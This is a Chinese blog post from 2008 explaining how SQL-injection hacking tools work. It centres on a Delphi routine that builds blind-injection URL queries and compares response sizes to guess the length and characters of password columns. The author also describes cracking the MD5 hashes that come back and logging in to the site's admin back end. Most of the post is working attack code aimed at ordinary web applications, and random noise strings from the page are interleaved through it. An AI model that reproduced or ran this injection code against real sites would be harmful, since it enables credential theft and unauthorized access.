脚本漏洞之黑客工具分析

上一篇 / 下一篇  2008-09-27 08:40:05

I#m Q }7^u0看了上面的猜解是不是很麻烦,但如果我们用软件来猜解网络上存在注入的网站就只是几秒钟的事了。如下图:IXPUB技术博客Q#c)Yo|,\ M2d2zI

IXPUB技术博客9t2h%j6Q4R

&q u/]!l3^;C},V0IXPUB技术博客3SC$i,zk.RI6X&s

上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:

o|+E5rl!B0IXPUB技术博客Q0@(rY0u,x![2SS

procedure TMainForm.GuessContProc(ListInt: integer); {SQL注入 - 多线程猜解字段内容}

*kh*}s-qh.QU0

|7v'q:o~ ^ Y%fM0function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;

aISQ {N0

:mc i6M:D2[0begin

]e/~*q0w!Aj"{0IXPUB技术博客%Y&O3R [(U

Result := Url + ’%20and%20exists(select%20*%20from%20’ + TableName +’%20where%20len(’ + FieldName + ’)’ + LevelStr + IntToStr(Len) + ’%20and%20id=(Select%20max(id)%20From%20’ + TableName +’%20where%20id%20in%20(select%20top%20’ + TOPStr + ’%20id%20from%20’ + TableName + ’%20Order%20by%20id)))’IXPUB技术博客8k6Y,jC$KPRt

e8o'i/?N_0   end;

#u3u B.r O+l0

$U;h7Y h\ yC.Wm0var

-rzbz,U{0IXPUB技术博客q6mRQWd]`

  TableName: string;IXPUB技术博客+Bf1C"Na

IXPUB技术博客_)GZ!~C~ z3P

  FieldName, S: string;

l'[b$?V0IXPUB技术博客5K];d@/T0CD|,r

  ContentInt: integer;

`H0A'CjFI0IXPUB技术博客OL$| l$cU1xT)A

  i, Len, LengthInt, N: integer;

sGq\n)YIC0IXPUB技术博客-UI?&q R+wzgaL

  GridCount: integer;IXPUB技术博客~B}^#q/v

IXPUB技术博客;u~ BcMTB

  Colu: TColumn;

cD1E#{;A4z0IXPUB技术博客#I;C*j4G&o(` O

  FlagBool: boolean;

wl5u[Q|0IXPUB技术博客\ T/g_CMF ];M3w&W

beginIXPUB技术博客8`h0|+A+_

]+oo*Er#_-~m0  Len := 0;

,[ i5B|6o_E0

et,F7cn#r&bV0  LengthInt := 0;IXPUB技术博客_2sAbUUW

brF-qN'U^gm1a0  FlagBool := True;

4\/m r*vmhp]V8D0IXPUB技术博客5ba1h O^S

  TableName := TableNameLst.Items[TableNameLst.Itemindex];IXPUB技术博客 B7_p'] |}9L

IXPUB技术博客kY H`Lz?6x#~%_A

  FieldName := Memo2.Lines[ListInt];

D"n0Y~yF,K]3vO3L0

0]0Ta#KrB&[0  if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or

f'k6g:g^0IXPUB技术博客{WN$ydi

    (LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密码’) orIXPUB技术博客!x `k/k)Y7k t b _

N-|y)r.J-a3[0    (LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) thenIXPUB技术博客VB@ @(R\

/N_ ?2gp&c1v+F2Q0  begin

M3B,Dq5T0

ThU&ZN;r3n uwn0    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);IXPUB技术博客/FYZA&hv

IXPUB技术博客smJG9@(S

    if ContentInt >= and1Num thenIXPUB技术博客([!Y|ndV8u

IXPUB技术博客!r'}W@R

    beginIXPUB技术博客 J xb+{ g:qn.T,b

IXPUB技术博客$B@vA]3wc

      SqlResultMemo.Lines.Add(FieldName + ’长度: 16’);

7hPlY3X5d"A ?J{0IXPUB技术博客9u8f r`Po2C]

      LengthInt := 16IXPUB技术博客;O9D7}X,b;}

dro#TM L#Oj0    end

nb^mJ/I L I0

Bss,K3G L%Gd0    elseIXPUB技术博客R WjE W|MI(e

5?)u;n']9c0    begin

*b$h7_;Z N$?Z.?0IXPUB技术博客J:sV|F0\/k&_ e.~Mh

      while (Len <= 50) and (FlagBool) do

(SZ3qs5N0IXPUB技术博客 XL+Y*Q{m

      beginIXPUB技术博客|?8sgh

IXPUB技术博客:R S"R)Nx6z`

        application.ProcessMessages;

8X7q/aJw0

c7|H4k T$pE0        inc(Len, 2);

4F+y%f&z:S9h9LW0

Ho/WxT Q7{)v;lLA0        Pane1.Caption := ’正在检测长度:Len(’ + FieldName + ’)=’ + inttostr(Len);

K)D]g2wl%z0H0IXPUB技术博客(O$Y AA"C;s

        ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’<=’, Len), 800);IXPUB技术博客Fpi8X sM

IXPUB技术博客}Bw;\-]T*h

        if ContentInt >= and1Num thenIXPUB技术博客bR(o{V|a0]

IXPUB技术博客OdNs8O%c;{

        begin

dA#n5M;M)o1l0x0

bsC3] VYt!AJ0          for N := Len - 1 to Len do

-Z9?4Z^(a7b"wd0

Mg1{d3? a0          beginIXPUB技术博客dRdh/|p*M)qOv

5V1fw/C-KZ0            ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);

4t Eo9`h wT0IXPUB技术博客W/a ? nZ

            if ContentInt >= and1Num then

;W*zy3\ L3}eS0

m a#e LP W9h.]c0            begin

6w](ub${H0

\"ELOOy*K`0              LengthInt := N;

\'Y$CVg4`b.nx0IXPUB技术博客 y8r C5T~1b"m-e

              SqlResultMemo.Lines.Add(FieldName + ’长度: ’ + inttostr(N));

N WWs_J4NP0

Euz}mGS J1z0              FlagBool := False;IXPUB技术博客*y:eP!D4{:}

IXPUB技术博客tS!ewToy

              Break;

9?b_ ih,jjz0

(tQ;_"f$A a7q&I0            end; // ifIXPUB技术博客[ GcHA$Hm1? c

Tu(JWEZb0          end; // for

OY'\-q \/n#c0IXPUB技术博客T a.`*nA3j%X

        end; // ifIXPUB技术博客}-[ Z{+D!B C Z

2cj[qDl0      end; // whileIXPUB技术博客0xj"NKPT,c

(MS!FE Cb(H/Z0    end;IXPUB技术博客2Y%Hn? o

IXPUB技术博客/G:l,a(pMZA

  endIXPUB技术博客P,w\X%`:e B;o$w4Q

IXPUB技术博客5BGp)N5Ep

  elseIXPUB技术博客u(\~$U"^

IXPUB技术博客zPD7F4i;^'A~

  begin

eg_U da;F9G0IXPUB技术博客 n NQ,k },I

    while (Len <= 50) and (FlagBool) doIXPUB技术博客-b!~-WcV2]D

IXPUB技术博客7qj:F/c@0g:z2Vt#N

    begin

n%Cdt)n]0

bq5W|y ?}8f0      application.ProcessMessages;

Q"@8?cF&P)|0IXPUB技术博客e.E0n*\;}:Ms|?U

      inc(Len, 2);IXPUB技术博客buu!A ^:@*C1f

IXPUB技术博客|"t~"\L'iQl

      Pane1.Caption := ’正在检测长度:Len(’ + FieldName + ’)=’ + inttostr(Len);IXPUB技术博客0Ne^spu*g q;?

IXPUB技术博客;T/O+Bi/Z7I

      ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’<=’, Len), 800);IXPUB技术博客/V S$Ywj.v7U:[k,{

o1L*g:h.b1^/c0      if ContentInt >= and1Num then

4e3TcQEQf0IXPUB技术博客 @L#nBT:z,J5f

      beginIXPUB技术博客\`G7cw!`

IXPUB技术博客iVwO"h

        for N := Len - 1 to Len do

\T(u$~ c0IXPUB技术博客.JM wnTGU-s

        beginIXPUB技术博客%l.D3JI8J}"`

9d!YtU+J;H%L L)]0          ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);

9`OtZ6RF0Hi0IXPUB技术博客:BY8I4aR0p;HR

          if ContentInt >= and1Num thenIXPUB技术博客A2j7P M V\y$U3Fx[

IXPUB技术博客 i^m1WE*vJ-oY

          beginIXPUB技术博客Dg-[Y |9P8qa2~2@

IXPUB技术博客L)k-[&H | X

            LengthInt := N;IXPUB技术博客3re]-O;d Bn

IXPUB技术博客$r!s"`'Rt'kF

            SqlResultMemo.Lines.Add(FieldName + ’长度: ’ + inttostr(N));IXPUB技术博客z wiL9b;g Xt

2w0^R%Ts FZ l0            FlagBool := False;

f|?U;T"`q0IXPUB技术博客8?s&W~GgF,I

            Break;IXPUB技术博客fq)x+lP&[m

IXPUB技术博客?P.x,`F,P

          end; // if

}.KB1Xd2\0IXPUB技术博客-l:s E-?w9?$lIp8A

        end; // for

Y(Z l\+Lt]Y$L;Z0

bYF|O.SW0      end; // ifIXPUB技术博客"Gi`K,e,V'rb

,X&Dx#R~[[}!i0    end; // whileIXPUB技术博客Bp#](w#H,O{B

r?YRZF0  end;IXPUB技术博客DS7|3fiAA8HFiX X G)O

IXPUB技术博客K T:z s;n(p8O

  GuessLsv.Clear;IXPUB技术博客-E B9V$}YG1] wW o

`6s:gm^4n`M0  if Len >= 50 then

W)e3FJMB0IXPUB技术博客 xe%{ d$\ P_ccM

  beginIXPUB技术博客8Ig}PZ

'B,mHmm~3BT0    sql_EdUrl.Enabled := True;IXPUB技术博客{'H8bwO

IXPUB技术博客oa6jhq F[9G/Oq

    Sql_GuessTable.Enabled := True;IXPUB技术博客 |vmi u"K]j G

IXPUB技术博客Ej*\'cO4O1|

    TableNameLst.Enabled := True;IXPUB技术博客+nZKyT eM7M+R

:a;\Ff;y0    FieldNameLst.Enabled := True;IXPUB技术博客u4u;GR$N@*aA

7D{_?\)sAr`S0    application.MessageBox(’列名长度大于50,猜解失败!’, ’提示’, 32);

$B-Q hi V#~_F0

m6`u*H`%G8C*H0    Exit;

P?/q"zSAKWV0

*vz|t3j+}y0  end;IXPUB技术博客bf#H4Pg/OO

r,i O vL,x]0  Pane1.Caption := ’正在检测’ + FieldName + ’的内容...’;

z6~A*T~G+ETr\iW0

/l6H-sV ^s0  GuessLsv.Update;IXPUB技术博客5BQF)c`W4y:e

V$Um#Te c8Hqh0  if LengthInt = 5 then

;j8\(R;_3lL9b0

pj+~g-G0  begin

]B-^&X5f JF0

q?p8Km%p9b l*c0    ContentInt := Get_HttpSize(Sql_EdUrl.Text + ’%20and%20exists%20(select%20top%20’ + sqlEdTop.Text + ’%20’ + FieldName + ’%20from%20’ + TableName + ’%20where%20instr(’ + FieldName + ’,’’admin’’)=1%20and%20len(username)=5)’);IXPUB技术博客#l#s&Iu1f2l&V#vG

IXPUB技术博客 m$I `]$s2E8v

    if ContentInt >= and1Num then

I%GB `[1l)M q0IXPUB技术博客v/Y+yD#y%c,lx

    beginIXPUB技术博客/kQG;]r&BX)@S:l*~

/j,ou%mjLe+~2I0      s := ’admin’;

_2H#C;|.RF N3f |0IXPUB技术博客7Z9U\,q/Pp8t)P

      for i := 1 to 5 doIXPUB技术博客@'s:E;OT+jq

z m5T0R O W+Z0      beginIXPUB技术博客,rQ RQ:r)V+y

P3|}Lue"aT(X;V0        application.ProcessMessages;

#Yk.m@OJH9?n0IXPUB技术博客F,m\q/\

        with GuessLsv.Items.Add do

!N2}K)by/WwE$B,hh[0IXPUB技术博客c+} H.O w)u

        beginIXPUB技术博客1\l+?B `

IXPUB技术博客 R1N2~&iX-rP |A7N*\

          caption := ’第’ + inttostr(i) + ’位’;IXPUB技术博客s'uj4[~

K0g$PT[0          SubItems.Add(s[i]);

&KW.])lF0

u}#X Cu0        end;

x#[d T#Yk;q6id0

$|fk,r4z2g0        sleep(60);IXPUB技术博客&]G%L3E/F?Y

IXPUB技术博客@4eU8@Q^? ]

        GuessLsv.Update;

xa l3TE0IXPUB技术博客w6s ~9wA0G#n5]4h

      end;IXPUB技术博客,s W4GR+RZ t

IXPUB技术博客Y _/A%L6`CZV{ { I6z

      inc(SQL_ScanContent_ThreadCreateCount);

X0W p!L7pel#P0

8v#kS*X_Kl0      StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;IXPUB技术博客t c:p1F\

X0P(e WLMJ8Vi0      StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’检测中...’;IXPUB技术博客N5V:b&[%iJ.u

!f+Tly%ZfI(nB0      SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] + ’内容:admin’);IXPUB技术博客|!j3^gEz1`

b Nf rfbl0      if SQL_ScanContent_ThreadCreateCount <= Memo2.Lines.Count then

7i0l%Pm%?GK]9Ni0

)fDQGN0        GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);

7lu$y3SA r)op0

(k7}1g(P;TU4V.n0      Exit;IXPUB技术博客R F;V%vrz o8|g

;O e6K!J ffm0    endIXPUB技术博客0y T$h1pG9i+UAo3o

ma k0af8x](F v []0    elseIXPUB技术博客\.XIB0DsJCL

4l}5X8l-GMX0    beginIXPUB技术博客V~(U6W{:?u

2R#fT0Q8oX4Fs0      for i := 1 to LengthInt do

K }bs?1_q.d0

sP9| l%z%L [0      beginIXPUB技术博客9gcb"A&}@6`@

IXPUB技术博客#vqBM(Ve Kz+n

        application.ProcessMessages;IXPUB技术博客E-?0XzM

+TJzbxr0        with GuessLsv.Items.Add doIXPUB技术博客;rv7qQ7`

IXPUB技术博客4~Hb,B o:[p

        begin

9Q o[}cL(\6Cz:]0IXPUB技术博客p {K'jC/pH/FnR

          caption := ’第’ + inttostr(i) + ’位’;

Ng ^a}o0IXPUB技术博客,S8\ jon o

          SubItems.Add(’检测中’);IXPUB技术博客`)g8G:e O,no

IXPUB技术博客&`yAV.~H

        end;

poa*X!SJ(H E0IXPUB技术博客qc.PFYN

        sleep(30);IXPUB技术博客2X7F~O$?5R

IXPUB技术博客\*F3](o(E!Y|$R!b

      end;IXPUB技术博客I;d#q^C m7OK

h3a h kL,A2V0    end;

I }*y;i&k"`0

i0Rr/\v`0  end

]\"CV;Db7d0IXPUB技术博客y [J$F"|W

  else

Y"VXHC0IXPUB技术博客0E;ex7l2e&O

  begin

/oi\~q0IXPUB技术博客?,O5M)p]+B,Wi:L

    for i := 1 to LengthInt doIXPUB技术博客x ?{t-~'t#@ p6o

%JY5fPCx.q0    begin

q G*BT:uSv0IXPUB技术博客H,E X.OKA

      application.ProcessMessages;IXPUB技术博客\FPk|M6w(^

;F*u?(BL0      with GuessLsv.Items.Add doIXPUB技术博客z-lZ3n2g zd

IXPUB技术博客]Y u F? r5_

      beginIXPUB技术博客Zc{:e{ [AJ.h

IXPUB技术博客~ug,i l&uw

        caption := ’第’ + inttostr(i) + ’位’;IXPUB技术博客K\6i~;k u u-^

IXPUB技术博客BffR4o0sff4q

        SubItems.Add(’检测中’);

[vK$X!I3E{0IXPUB技术博客C1F vBm

      end;IXPUB技术博客pUp V?l:}

IXPUB技术博客@ ]T_y7EmgW`

      sleep(30);IXPUB技术博客LpI]}Av+m |

IXPUB技术博客&TmRN,o w-IXF

    end;IXPUB技术博客)J'rY@$Q"w

IXPUB技术博客3s i)E'z?!i

  end;

#M.f/mW7|TM X o9P0

[+S${.v;iMk2ll0从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的%20是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。

o3] |RqqH+Wh0

TAG: 工具 黑客 脚本 漏洞

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-02  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 63536
  • 日志数: 1187
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-02

RSS订阅

Open Toolbar